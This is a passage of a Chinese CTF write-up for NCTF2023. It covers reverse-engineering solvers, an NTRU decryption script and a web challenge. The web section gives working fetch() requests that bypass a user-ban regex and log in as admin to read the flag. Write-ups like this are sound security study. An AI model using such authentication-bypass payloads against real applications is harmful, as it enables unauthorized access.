NCTF2023
Tue Dec 26 2023
目录
Reverse
中文编程 1
# from z3 import *
# # 创建11个实数变量
# v = [Real(f'v{i}') for i in range(1, 12)]
# # 创建表达式1
# expression1 = (
# v[0] * 52.0 +
# v[1] * 93.0 +
# v[2] * 15.0 +
# v[3] * 72.0 +
# v[4] * 61.0 +
# v[5] * 21.0 +
# v[6] * 83.0 +
# v[7] * 87.0 +
# v[8] * 75.0 +
# v[9] * 75.0 +
# v[10] * 88.0
# ) - 7.86241466532e11
# # 创建表达式2
# expression2 = (
# v[0] * 24.0 +
# v[1] * 3.0 +
# v[2] * 22.0 +
# v[3] * 53.0 +
# v[4] * 2.0 +
# v[5] * 88.0 +
# v[6] * 30.0 +
# v[7] * 38.0 +
# v[8] * 2.0 +
# v[9] * 64.0 +
# v[10] * 60.0
# ) - 3.76271212978e11
# # 创建表达式3
# expression3 = (
# v[0] * 21.0 +
# v[1] * 33.0 +
# v[2] * 76.0 +
# v[3] * 58.0 +
# v[4] * 22.0 +
# v[5] * 89.0 +
# v[6] * 49.0 +
# v[7] * 91.0 +
# v[8] * 59.0 +
# v[9] * 42.0 +
# v[10] * 92.0
# ) - 6.47642467922e11
# # 创建表达式4
# expression4 = (
# v[0] * 60.0 +
# v[1] * 80.0 +
# v[2] * 15.0 +
# v[3] * 62.0 +
# v[4] * 62.0 +
# v[5] * 47.0 +
# v[6] * 62.0 +
# v[7] * 51.0 +
# v[8] * 55.0 +
# v[9] * 64.0 +
# v[10] * 3.0
# ) - 6.70839740597e11
# # 创建表达式5
# expression5 = (
# v[0] * 51.0 +
# v[1] * 7.0 +
# v[2] * 21.0 +
# v[3] * 73.0 +
# v[4] * 39.0 +
# v[5] * 18.0 +
# v[6] * 4.0 +
# v[7] * 89.0 +
# v[8] * 60.0 +
# v[9] * 14.0 +
# v[10] * 9.0
# ) - 5.49200140865e11
# # 创建表达式6
# expression6 = (
# v[0] * 90.0 +
# v[1] * 53.0 +
# v[2] * 2.0 +
# v[3] * 84.0 +
# v[4] * 92.0 +
# v[5] * 60.0 +
# v[6] * 71.0 +
# v[7] * 44.0 +
# v[8] * 8.0 +
# v[9] * 47.0 +
# v[10] * 35.0
# ) - 6.6473011328e11
# # 创建表达式7
# expression7 = (
# v[0] * 78.0 +
# v[1] * 81.0 +
# v[2] * 36.0 +
# v[3] * 50.0 +
# v[4] * 4.0 +
# v[5] * 2.0 +
# v[6] * 6.0 +
# v[7] * 54.0 +
# v[8] * 4.0 +
# v[9] * 54.0 +
# v[10] * 93.0
# ) - 4.76762422687e11
# # 创建表达式8
# expression8 = (
# v[0] * 63.0 +
# v[1] * 18.0 +
# v[2] * 90.0 +
# v[3] * 44.0 +
# v[4] * 34.0 +
# v[5] * 74.0 +
# v[6] * 62.0 +
# v[7] * 14.0 +
# v[8] * 95.0 +
# v[9] * 48.0 +
# v[10] * 15.0
# ) - 6.44352175854e11
# # 创建表达式9
# expression9 = (
# v[0] * 72.0 +
# v[1] * 78.0 +
# v[2] * 87.0 +
# v[3] * 62.0 +
# v[4] * 40.0 +
# v[5] * 85.0 +
# v[6] * 80.0 +
# v[7] * 82.0 +
# v[8] * 53.0 +
# v[9] * 24.0 +
# v[10] * 26.0
# ) - 7.87224288556e11
# expression10 = (
# v[0] * 89.0 +
# v[1] * 60.0 +
# v[2] * 41.0 +
# v[3] * 29.0 +
# v[4] * 15.0 +
# v[5] * 45.0 +
# v[6] * 65.0 +
# v[7] * 89.0 +
# v[8] * 71.0 +
# v[9] * 9.0 +
# v[10] * 88.0
# ) - 6.67891172792e11
# # 创建表达式11
# expression11 = (
# v[0] +
# v[1] * 8.0 +
# v[2] * 88.0 +
# v[3] * 63.0 +
# v[4] * 11.0 +
# v[5] * 81.0 +
# v[6] * 8.0 +
# v[7] * 35.0 +
# v[8] * 35.0 +
# v[9] * 33.0 +
# v[10] * 5.0
# ) - 4.17587420064e11
# # 添加约束
# constraint = And(expression1 >= 0.0, expression1 < 0.0000001,
# expression2 >= 0.0, expression2 < 0.0000001,
# expression3 >= 0.0, expression3 < 0.0000001,
# expression4 >= 0.0, expression4 < 0.0000001,
# expression5 >= 0.0, expression5 < 0.0000001,
# expression6 >= 0.0, expression6 < 0.0000001,
# expression7 >= 0.0, expression7 < 0.0000001,
# expression8 >= 0.0, expression8 < 0.0000001,
# expression9 >= 0.0, expression9 < 0.0000001,
# expression10 >= 0.0, expression10 < 0.0000001,
# expression11 >= 0.0, expression11 < 0.0000001)
# # 创建求解器
# solver = Solver()
# solver.add(constraint)
# # 检查约束是否有解
# result = solver.check()
# # 获取解决方案
# if result == sat:
# model = solver.model()
# solution = [model[v[i]].as_decimal(12) for i in range(11)]
# print(f'Solution found: {solution}')
# else:
# print('No solution found.')
data = ['1734437990', '825569659', '858875191', '1700867381', '875389793', '761606705', '879060537', '1664170285', '1664233572', '959592504', '32048']
for a in data:
print(int(a).to_bytes(4,'little').decode(),end='')
Jvav
a = "\uD83D\uDE09\uD83D\uDE36\uD83D\uDE0C\uD83D\uDE15\uD83D\uDE03\uD83D\uDE00\uD83D\uDE03\uD83D\uDE04\uD83D\uDE09\uD83D\uDE02\uD83D\uDE42\uD83D\uDE00\uD83E\uDD10\uD83D\uDE02\uD83E\uDD1711\uD83E\uDD17\uD83D\uDE10\uD83E\uDD17\uD83D\uDE31\uD83D\uDE03\uD83E\uDD23\uD83D\uDE00\uD83D\uDE18\uD83D\uDE10\uD83D\uDE04\uD83D\uDE14\uD83D\uDE04\uD83D\uDE03\uD83E\uDD23\uD83E\uDD28\uD83D\uDE0B\uD83E\uDD10\uD83D\uDE11\uD83D\uDE0C\uD83D\uDE42\uD83E\uDD17\uD83D\uDE02\uD83D\uDE0C\uD83E\uDD10\uD83D\uDE03\uD83D\uDE00\uD83E\uDD28\uD83D\uDE04\uD83E\uDD17\uD83E\uDD28\uD83D\uDE42\uD83E\uDD10\uD83D\uDE09\uD83E\uDD29\uD83D\uDE14\uD83D\uDE18\uD83D\uDE10\uD83D\uDE42\uD83D\uDE1B\uD83D\uDE0D\uD83D\uDE24\uD83D\uDE18\uD83D\uDE0C\uD83D\uDE1A\uD83D\uDE17\uD83E\uDD29\uD83D\uDE27\uD83E\uDD17"
table = ["\uD83D\uDE00", "\uD83D\uDE01", "\uD83D\uDE02", "\uD83E\uDD23", "\uD83D\uDE03", "\uD83D\uDE04", "\uD83D\uDE05", "\uD83D\uDE06", "\uD83D\uDE09", "\uD83D\uDE0B", "\uD83D\uDE0E", "\uD83D\uDE0D", "\uD83D\uDE18", "\uD83D\uDE17", "\uD83D\uDE19", "\uD83D\uDE1A", "\uD83D\uDE42", "\uD83E\uDD17", "\uD83E\uDD29", "\uD83E\uDD14", "\uD83E\uDD28", "\uD83D\uDE10", "\uD83D\uDE11", "\uD83D\uDE36", "\uD83D\uDE44", "\uD83D\uDE0F", "\uD83D\uDE23", "\uD83D\uDE25", "\uD83E\uDD10", "\uD83D\uDE2A", "\uD83D\uDE2B", "\uD83D\uDE34", "\uD83D\uDE0C", "\uD83D\uDE1B", "\uD83D\uDE1C", "\uD83D\uDE1D", "\uD83E\uDD24", "\uD83D\uDE12", "\uD83D\uDE13", "\uD83D\uDE14", "\uD83D\uDE15", "\uD83D\uDE43", "\uD83E\uDD11", "\uD83D\uDE32", "11", "\uD83D\uDE16", "\uD83D\uDE1E", "\uD83D\uDE1F", "\uD83D\uDE24", "\uD83D\uDE22", "\uD83D\uDE2D", "\uD83D\uDE26", "\uD83D\uDE27", "\uD83D\uDE28", "\uD83D\uDE29", "\uD83D\uDE2C", "\uD83D\uDE30", "\uD83D\uDE31", "\uD83D\uDE33", "\uD83E\uDD2A", "\uD83D\uDE35", "\uD83E\uDD2D", "\uD83E\uDD2B"]
data = []
for i in range(64):
data.append(table.index(a[2*i:2*i+2]))
s = ''
for i in range(64):
tmp = bin(data[i])[2:].rjust(6,'0')
s += tmp[-2:]+tmp[:4]
flag = []
for i in range(len(s)//8):
flag.append(int(s[8*i:8*(i+1)],2)^51)
print(bytes(flag))
# b'8a973b923-68bf-430f-b42a-a7a1472bcb49}pgu\x01\x03\x01\x00}pg'
根据长度猜测 flag

中文编程 2
# # print(hex(3961810693))
# # print(hex(3854135440))
# # 0x5c940f05
# # 0xeeb27690
# v26 = 0x77A01F25
# v27 = 0xEA721C14
# v32 = 0xEEB27690
# v33 = 0x5C940F05
# def to_quaternary(n):
# if n == 0:
# return '0'
# quaternary_digits = ''
# while n:
# quaternary_digits = str(n % 4) + quaternary_digits
# n //= 4
# return quaternary_digits
# decimal_number = 42
# quaternary_representation = to_quaternary(decimal_number)
# print(f'v26={v26}')
# print(f'v27={v27}')
# print(f'v32={v32}')
# print(f'v33={v33}')
1,8,2,16,4
def dec(num,key):
mask = 0
for a in range(0,32,2*key):
mask <<= 2 * key
mask |= (1 << key) - 1
xkey = (num[0] & mask) ^ ((num[1] >> key) & mask)
num[0] = num[0] ^ xkey
num[1] = num[1] ^ (xkey<<key)
return num
# print(hex(mask))
# data[0]
# return data
from z3 import *
def find_v16_v17(v23_val, v24_val):
# 创建位向量(32位整数)用于表示v16和v17
v16 = BitVec('v16', 32)
v17 = BitVec('v17', 32)
# 定义v21, v22, v23, v24的计算公式
v21 = (LShR(v16, 1) | (v16 << 31)) & 0xFFFFFFFF
v22 = (v17 ^ v21) & 0xAAAAAAAA
v23 = v22 ^ v21
v24 = ((v22 ^ v17) >> 1) | ((v22 ^ v17) << 31)
# 创建一个求解器实例
s = Solver()
# 向求解器添加约束条件
s.add(v23 == v23_val)
s.add(v24 == v24_val)
# 求解
if s.check() == sat:
m = s.model()
result_v16 = m[v16].as_long()
result_v17 = m[v17].as_long()
return (result_v16, result_v17)
else:
print("No solution found")
return "No solution found"
def dec2(num):
key = [
356323847, 151527228, 740767546, 540020281, 654839353, 104150809, 555494916
,823934770, 319498556, 556078630, 639713067, 1026032150, 571424011, 103423007
,742130971, 84753163, 254942750, 553779999, 503389954, 574371119, 588255527
,203171627, 288106789, 540945213, 723531839, 723597618, 574166844, 841619515
,974788401, 119026972, 218248763, 354814246
]
dword_AD0FFC = [2097152, 69206018, 67110914, 0, 2048, 67110914, 2099202, 69208064
,69208066, 2097152, 0, 67108866, 2, 67108864, 69206018, 2050
,67110912, 2099202, 2097154, 67110912, 67108866, 69206016, 69208064, 2097154
,69206016, 2048, 2050, 69208066, 2099200, 2, 67108864, 2099200
,67108864, 2099200, 2097152, 67110914, 67110914, 69206018, 69206018, 2
,2097154, 67108864, 67110912, 2097152, 69208064, 2050, 2099202, 69208064
,2050, 67108866, 69208066, 69206016, 2099200, 0, 2, 69208066
,0, 2099202, 69206016, 2048, 67108866, 67110912, 2048, 2097154]
index = 32
dword_AD0DFC = [256, 34078976, 34078720, 1107296512, 524288, 256, 1073741824, 34078720
,1074266368, 524288, 33554688, 1074266368, 1107296512, 1107820544, 524544, 1073741824
,33554432, 1074266112, 1074266112, 0, 1073742080, 1107820800, 1107820800, 33554688
,1107820544, 1073742080, 0, 1107296256, 34078976, 33554432, 1107296256, 524544
,524288, 1107296512, 256, 33554432, 1073741824, 34078720, 1107296512, 1074266368
,33554688, 1073741824, 1107820544, 34078976, 1074266368, 256, 33554432, 1107820544
,1107820800, 524544, 1107296256, 1107820800, 34078720, 0, 1074266112, 1107296256
,524544, 33554688, 1073742080, 524288, 0, 1074266112, 34078976, 1073742080]
dword_AD0BFC = [520, 134349312, 0, 134348808, 134218240, 0, 131592, 134218240
,131080, 134217736, 134217736, 131072, 134349320, 131080, 134348800, 520
,134217728, 8, 134349312, 512, 131584, 134348800, 134348808, 131592
,134218248, 131584, 131072, 134218248, 8, 134349320, 512, 134217728
,134349312, 134217728, 131080, 520, 131072, 134349312, 134218240, 0
,512, 131080, 134349320, 134218240, 134217736, 512, 0, 134348808
,134218248, 131072, 134217728, 134349320, 8, 131592, 131584, 134217736
,134348800, 134218248, 520, 134348800, 131592, 8, 134348808, 131584]
DES_sbox_AD09FC = [ 16843776, 0, 65536, 16843780, 16842756, 66564, 4, 65536
,1024, 16843776, 16843780, 1024, 16778244, 16842756, 16777216, 4
,1028, 16778240, 16778240, 66560, 66560, 16842752, 16842752, 16778244
,65540, 16777220, 16777220, 65540, 0, 1028, 66564, 16777216
,65536, 16843780, 4, 16842752, 16843776, 16777216, 16777216, 1024
,16842756, 65536, 66560, 16777220, 1024, 4, 16778244, 66564
,16843780, 65540, 16842752, 16778244, 16777220, 1028, 66564, 16843776
,1028, 16778240, 16778240, 0, 65540, 66560, 0, 16842756]
dword_AD10FC = [268439616, 4096, 262144, 268701760, 268435456, 268439616, 64, 268435456
,262208, 268697600, 268701760, 266240, 268701696, 266304, 4096, 64
,268697600, 268435520, 268439552, 4160, 266240, 262208, 268697664, 268701696
,4160, 0, 0, 268697664, 268435520, 268439552, 266304, 262144
,266304, 262144, 268701696, 4096, 64, 268697664, 4096, 266304
,268439552, 64, 268435520, 268697600, 268697664, 268435456, 262144, 268439616
,0, 268701760, 262208, 268435520, 268697600, 268439552, 268439616, 0
,268701760, 266240, 266240, 4160, 4160, 262208, 268435456, 268701696]
dword_AD0EFC = [536870928, 541065216, 16384, 541081616, 541065216, 16, 541081616, 4194304
,536887296, 4210704, 4194304, 536870928, 4194320, 536887296, 536870912, 16400
,0, 4194320, 536887312, 16384, 4210688, 536887312, 16, 541065232
,541065232, 0, 4210704, 541081600, 16400, 4210688, 541081600, 536870912
,536887296, 16, 541065232, 4210688, 541081616, 4194304, 16400, 536870928
,4194304, 536887296, 536870912, 16400, 536870928, 541081616, 4210688, 541065216
,4210704, 541081600, 0, 541065232, 16, 16384, 541065216, 4210704
,16384, 4194320, 536887312, 0, 541081600, 536870912, 4194320, 536887312]
dword_AD0CFC = [8396801, 8321, 8321, 128, 8396928, 8388737, 8388609, 8193
,0, 8396800, 8396800, 8396929, 129, 0, 8388736, 8388609
,1, 8192, 8388608, 8396801, 128, 8388608, 8193, 8320
,8388737, 1, 8320, 8388736, 8192, 8396928, 8396929, 129
,8388736, 8388609, 8396800, 8396929, 129, 0, 0, 8396800
,8320, 8388736, 8388737, 1, 8396801, 8321, 8321, 128
,8396929, 129, 1, 8192, 8388609, 8193, 8396928, 8388737
,8193, 8320, 8388608, 8396801, 128, 8388608, 8192, 8396928]
dword_AD0AFC = [2148565024, 2147516416, 32768, 1081376, 1048576, 32, 2148532256, 2147516448
,2147483680, 2148565024, 2148564992, 2147483648, 2147516416, 1048576, 32, 2148532256
,1081344, 1048608, 2147516448, 0, 2147483648, 32768, 1081376, 2148532224
,1048608, 2147483680, 0, 1081344, 32800, 2148564992, 2148532224, 32800
,0, 1081376, 2148532256, 1048576, 2147516448, 2148532224, 2148564992, 32768
,2148532224, 2147516416, 32, 2148565024, 1081376, 32, 32768, 2147483648
,32800, 2148564992, 1048576, 2147483680, 1048608, 2147516448, 2147483680, 1048608
,1081344, 0, 2147516416, 32800, 2147483648, 2148532256, 2148565024, 1081344]
for a in range(8):
v20 = key[index -2] ^ (((num[1] >> 4) | (num[1] << 28))&0xffffffff)
num[0] ^= dword_AD0FFC[v20 & 0x3F] | dword_AD0DFC[(v20 >> 8) & 0x3F] | dword_AD0BFC[(v20 >> 16) & 0x3F] | DES_sbox_AD09FC[(v20 >> 24) & 0x3F] | dword_AD10FC[(num[1] ^ key[index - 1]) & 0x3F] | dword_AD0EFC[((num[1] ^ key[index - 1]) >> 8) & 0x3F] | dword_AD0CFC[((num[1] ^ key[index - 1]) >> 16) & 0x3F] | dword_AD0AFC[((num[1] ^ key[index - 1]) >> 24) & 0x3F]
v19 = key[index-4] ^ (((num[0] >> 4) | (num[0] << 28)) &0xffffffff)
num[1] ^= (dword_AD0FFC[v19 & 0x3F]&0xffffffff) | (dword_AD0DFC[((key[index-4] ^ ((num[0] >> 4) | (num[0] << 28))) >> 8) & 0x3F]&0xffffffff) | (dword_AD0BFC[(v19 >> 16) & 0x3F]&0xffffffff) | (DES_sbox_AD09FC[(v19 >> 24) & 0x3F]&0xffffffff) | (dword_AD10FC[(num[0] ^ key[index - 3]) & 0x3F]&0xffffffff) | (dword_AD0EFC[((num[0] ^ key[index - 3]) >> 8) & 0x3F]&0xffffffff) | (dword_AD0CFC[((num[0] ^ key[index - 3]) >> 16) & 0x3F]&0xffffffff) | (dword_AD0AFC[((num[0] ^ key[index - 3]) >> 24) & 0x3F]&0xffffffff)
index -= 4
# print(f'v16=>{hex(num[0])}')
# print(f'v17=>{hex(num[1])}')
return num
def dec111(num):
data = num
mask1 = 0xAAAAAAAA
mask2 = 0x55555555
tmp = (num[1]>>1)|(num[1]<<31)
# num[1] = (num[1]>>1)|(num[1]<<31)
num[1] = tmp&mask1 | num[0]&mask2
num[0] = tmp&mask2 | num[0]&mask1
num[1] = ((num[1]>>1)|(num[1]<<31) & 0xffffffff)
return num
def dec222(num):
data = num
mask1 = 0xAAAAAAAA
mask2 = 0x55555555
tmp = (num[1]>>31)|(num[1]<<1)
# num[1] = (num[1]>>1)|(num[1]<<31)
num[1] = tmp&mask1 | num[0]&mask2
num[0] = tmp&mask2 | num[0]&mask1
num[1] = ((num[1]>>31)|(num[1]<<1) & 0xffffffff)
return num
def find_v16_v17_1(v23_val, v24_val):
# 创建位向量(32位整数)用于表示v16和v17
v16 = BitVec('v16', 32)
v17 = BitVec('v17', 32)
# 定义v21, v22, v23, v24的计算公式
v21 = ((v16 << 1) | (v16 >> 31)) & 0xFFFFFFFF
v22 = (v17 ^ v21) & 0xAAAAAAAA & 0xFFFFFFFF
v23 = v22 ^ v21 & 0xFFFFFFFF
v24 = ((v22 ^ v17) << 1) | ((v22 ^ v17) >> 31) & 0xFFFFFFFF
# 创建一个求解器实例
s = Solver()
# 向求解器添加约束条件
s.add(v23 == v23_val)
s.add(v24 == v24_val)
# 求解
if s.check() == sat:
m = s.model()
result_v16 = m[v16].as_long()
result_v17 = m[v17].as_long()
return (result_v16, result_v17)
else:
return "No solution found"
def dec1(data):
data = dec(data,4)
# for a in data:
# print(hex(a))
# print('**********************')
data = dec(data,16)
# for a in data:
# print(hex(a))
# print('**********************')
tmp = data[1]
data[1] = data[0]
data[0] = tmp
data = dec(data,2)
data = dec(data,8)
data = dec222(data)
tmp = data[1]
data[1] = data[0]
data[0] = tmp
for a in data:
print(hex(a))
print('**********************')
return data
def dec0(data):
# data = list(find_v16_v17_1(data[0], data[1]))
data = dec111(data)
# tmp = data[1]
# data[1] = data[0]
# data[0] = tmp
data = dec(data,8)
# for a in data:
# print(hex(a))
# print('**********************')
data = dec(data,2)
tmp = data[1]
data[1] = data[0]
data[0] = tmp
data = dec(data,16)
data = dec(data,4)
return data
key = [128, 204, 119, 27, 137, 150, 212, 244, 159, 59, 53, 104, 92, 109, 9, 223, 8, 117, 55, 35, 250, 31, 182, 100, 23, 139, 165, 136, 28, 191, 212, 198, 2, 1, 226, 12, 139, 3, 55, 228, 117, 181, 25, 251, 222, 153, 172, 62]
# data = [
# 108, 232, 24, 30, 108, 47, 164, 100
# ]
# data = [
# 229, 197, 253, 3, 51, 150, 241, 230, 122, 46,
# 16, 244, 18, 74, 174, 5, 177, 155, 9, 239,
# 63, 64, 68, 55, 249, 82, 107, 108, 5, 218,
# 222, 174, 56, 147, 206, 197, 174, 247, 114, 248,
# 58, 25, 177, 60, 143, 4, 129, 42
# ]
# for a in range(len(data)):
# data[a] ^= key[a]
# print(data)
ans = b''
raw = [ 229, 197, 253, 3, 51, 150, 241, 230, 117, 131,
166, 7, 224, 148, 243, 11, 172, 94, 148, 110,
173, 13, 58, 38, 167, 102, 31, 111, 215, 83,
177, 198, 24, 115, 215, 9, 249, 133, 146, 6,
214, 126, 106, 71, 82, 4, 84, 114]
for a in range(len(raw)):
raw[a] ^= key[a]
for a in range(0,48,8):
data = [int.from_bytes(bytes(raw[a+4:a+8]),'big'),int.from_bytes(bytes(raw[a+0:a+4]),'big')]
for b in data:
print(hex(b))
data = list(dec1(data))
data = dec2(data)
data = dec0(data)
ans += data[1].to_bytes(4,'big') + data[0].to_bytes(4,'big')
print(ans.hex())
print('**********************')
ans = list(ans[4:])
for a in range(len(ans)):
ans[a] ^= key[a]
ans = bytes(ans)
print(ans)
ezVM
爆破
opcode = [0x55, 0xEB, 0x8C, 0x63, 0x46, 0xCF, 0x83, 0x81, 0x14, 0x32, ......]
def vm(flag):
buffer = [0]*257
v3 = 0
i = 0
v5 = 0x100
while 1:
if opcode[i] == 0xb:
v5 = v5 + 8
i += 1
elif opcode[i] == 0xc:
v5 -= 2
buffer[v5+1] = opcode[i+1]
buffer[v5+2] = opcode[i+2]
i += 3
elif opcode[i] == 0xe:
v5 -= 1
buffer[v5+1] = buffer[v5+2]
i += 1
elif opcode[i] == 0x19:
# print(f"return")
return tmp
# break
elif opcode[i] == 0x32:
v5 -= 1
buffer[v5+1] = opcode[i+1]
i += 2
elif opcode[i] == 0x49:
buffer[v5+2] = ~buffer[v5+2]
i += 1
elif opcode[i] == 0x71:
buffer[v5+2] &= buffer[v5+1]
v5 += 1
i += 1
elif opcode[i] == 0x72:
buffer[v5+1] = ~buffer[v5+1]
i += 1
elif opcode[i] == 0x7b:
v14 = buffer[v5+1]
i += 1
# print(f"input")
elif opcode[i] == 0x7c:
v5 = v5 - 2
buffer[v5+1] = buffer[v5+3]
buffer[v5+2] = buffer[v5+4]
i += 1
elif opcode[i] == 0x8d:
# print(v5)
i += 1
if not buffer[v5+1]:
tmp = i
# print(i,end='\t')
i = buffer[v5+2] | buffer[v5+3]<<8 | buffer[v5+4]<<16 | buffer[v5+5]<<24
# print("jmp:\t",i)
v5 += 5
elif opcode[i] == 0x8e:
v5 += 2
i += 1
elif opcode[i] == 0x91:
v5 = v5-4
buffer[v5+1] = opcode[i+1]
buffer[v5+2] = opcode[i+2]
buffer[v5+3] = opcode[i+3]
buffer[v5+4] = opcode[i+4]
i += 5
elif opcode[i] == 0x99:
v5 += 4
i += 1
elif opcode[i] == 0xad:
v5 -= 1
buffer[v5+1] = v3
i += 1
elif opcode[i] == 0xb5:
if buffer[v5+1]:
buffer[v5+1] = 1
i += 1
elif opcode[i] == 0xb7:
v3 = buffer[v5+1]
v5 += 1
i += 1
elif opcode[i] == 0xb8:
# print(f"mov buffer {buffer[v5+1]} {flag[buffer[v5+1]]}")
buffer[v5+1] = ord(flag[buffer[v5+1]])
i += 1
elif opcode[i] == 0xd3:
v5 = v5-8
buffer[v5+1] = opcode[i+1]
buffer[v5+2] = opcode[i+2]
buffer[v5+3] = opcode[i+3]
buffer[v5+4] = opcode[i+4]
buffer[v5+5] = opcode[i+5]
buffer[v5+6] = opcode[i+6]
buffer[v5+7] = opcode[i+7]
buffer[v5+8] = opcode[i+8]
i += 9
elif opcode[i] == 0xea:
v5 += 1
i += 1
elif opcode[i] == 0xfb:
v11 = opcode[i+1]
v13 = v11^opcode[i+2]
v12 = 0
if v13:
while v12<v13:
print(chr(v11^buffer[v13+v5-v12]),end='')
v12 += 1
print()
v5 = v13 + v5
i += 3
elif opcode[i] == 0xff:
v17 = buffer[v5+1]
if v17 == 1:
buffer[v5 + 1] = 0
else:
buffer[v5 + 1] = 1
i += 1
else:
# print('1111')
i += 1
table = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_@!#$%^&*/,.<>;:"
right_str = 'flag{O1SC_VM_1s_h4rd_to_r3v3rs3_#a78abffaa'
# O1SC_VM_1s_h4rd_to_r3v3rs3_#a78abffaa
rightnum = len(right_str)
while rightnum<38:
l = []
for i in table:
f = right_str + i + 'a'*(44-2-rightnum) + '}'
tmp = vm(f)
l.append(tmp)
if max(l)==min(l):
print(l)
print('Wrong!')
break
else:
right_str += table[l.index(max(l))]
rightnum += 1
print(right_str)
# for i in table:
# f = right_str + i + 'a'*(44-2-rightnum) + '}'
# print(f)
# tmp = vm(f)
# print()
Web
Wait What?
只需要绕过正则匹配,in 关键字匹配键,不需要管。
因为 build_banned_users_regex()会在每次请求前,更新封禁用户正则信息,添加 banner 时使其抛出 error 即可不更新正则信息。
然后利用 lastindex 绕过正则即可
// 添加对象
fetch("/api/ban_user", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
username: "user",
password: "user",
ban_username: { a: 1 },
}),
});
fetch("/api/login", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ username: "admin", password: "admin" }),
});
fetch("/api/flag", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ username: "admin", password: "admin" }),
})
.then((flagRes) => flagRes.text())
.then((flag) => console.log(flag));

Crypto
Sign
多项式 NTRU,找一个解密函数,set 一下 key 直接解密就行。
# Sage
from Crypto.Util.number import *
class NTRU:
def __init__(self, N, p, q, d):
self.debug = False
assert q > (6*d+1)*p
assert is_prime(N)
assert gcd(N, q) == 1 and gcd(p, q) == 1
self.N = N
self.p = p
self.q = q
self.d = d
self.R_ = PolynomialRing(ZZ, 'x')
self.Rp_ = PolynomialRing(Zmod(p), 'xp')
self.Rq_ = PolynomialRing(Zmod(q), 'xq')
x = self.R_.gen()
xp = self.Rp_.gen()
xq = self.Rq_.gen()
self.R = self.R_.quotient(x ^ N - 1, 'y')
self.Rp = self.Rp_.quotient(xp ^ N - 1, 'yp')
self.Rq = self.Rq_.quotient(xq ^ N - 1, 'yq')
self.RpOrder = self.p ^ self.N - self.p
self.RqOrder = self.q ^ self.N - self.q
self.sk, self.pk = self.keyGen()
def T(self, d1, d2):
assert self.N >= d1+d2
t = [1]*d1 + [-1]*d2 + [0]*(self.N-d1-d2)
shuffle(t)
return self.R(t)
def lift(self, fx):
mod = Integer(fx.base_ring()(-1)) + 1
return self.R([Integer(x)-mod if x > mod//2 else x for x in list(fx)])
def keyGen(self):
fx = self.T(self.d+1, self.d)
gx = self.T(self.d, self.d)
Fp = self.Rp(list(fx)) ^ (-1)
assert pow(self.Rp(list(fx)), self.RpOrder-1) == Fp
assert self.Rp(list(fx)) * Fp == 1
Fq = pow(self.Rq(list(fx)), self.RqOrder - 1)
assert self.Rq(list(fx)) * Fq == 1
hx = Fq * self.Rq(list(gx))
sk = (fx, gx, Fp, Fq, hx)
pk = hx
return sk, pk
def getKey(self):
ssk = (
self.R_(list(self.sk[0])),
self.R_(list(self.sk[1]))
)
spk = self.Rq_(list(self.pk))
return ssk, spk
def setKey(self, fx, gx):
# emmm
try:
fx = self.R(fx)
gx = self.R(gx)
Fp = self.Rp(list(fx)) ^ (-1)
Fq = pow(self.Rq(list(fx)), self.RqOrder - 1)
hx = Fq * self.Rq(list(gx))
self.sk = (fx, gx, Fp, Fq, hx)
self.pk = hx
return True
except:
return False
def pad(self, msg):
pad_length = self.N - len(msg)
msg += [-1 for _ in range(pad_length)]
return msg
def encode(self, msg):
result = []
for i in msg:
result += [int(_) for _ in bin(i)[2:].zfill(8)]
if len(result) < self.N:
result = self.pad(result)
result = self.R(result)
return result
def encrypt(self, m):
# m = self.encode(m)
assert self.pk != None
hx = self.pk
mx = self.R(m)
mx = self.Rp(list(mx))
mx = self.Rq(list(mx))
rx = self.T(self.d, self.d)
rx = self.Rq(list(rx))
e = self.p * rx * hx + mx
return list(e)
def decrypt(self, e):
fx, gx, Fp, Fq, hx = self.sk
e = self.Rq(e)
ax = self.Rq(list(fx)) * e
a = self.lift(ax) # center lift
bx = Fp * self.Rp(list(a))
b = self.lift(bx)
print(list(b))
# return bx
return str(self.R_(list(b)))
if __name__ == '__main__':
fx = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, -1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
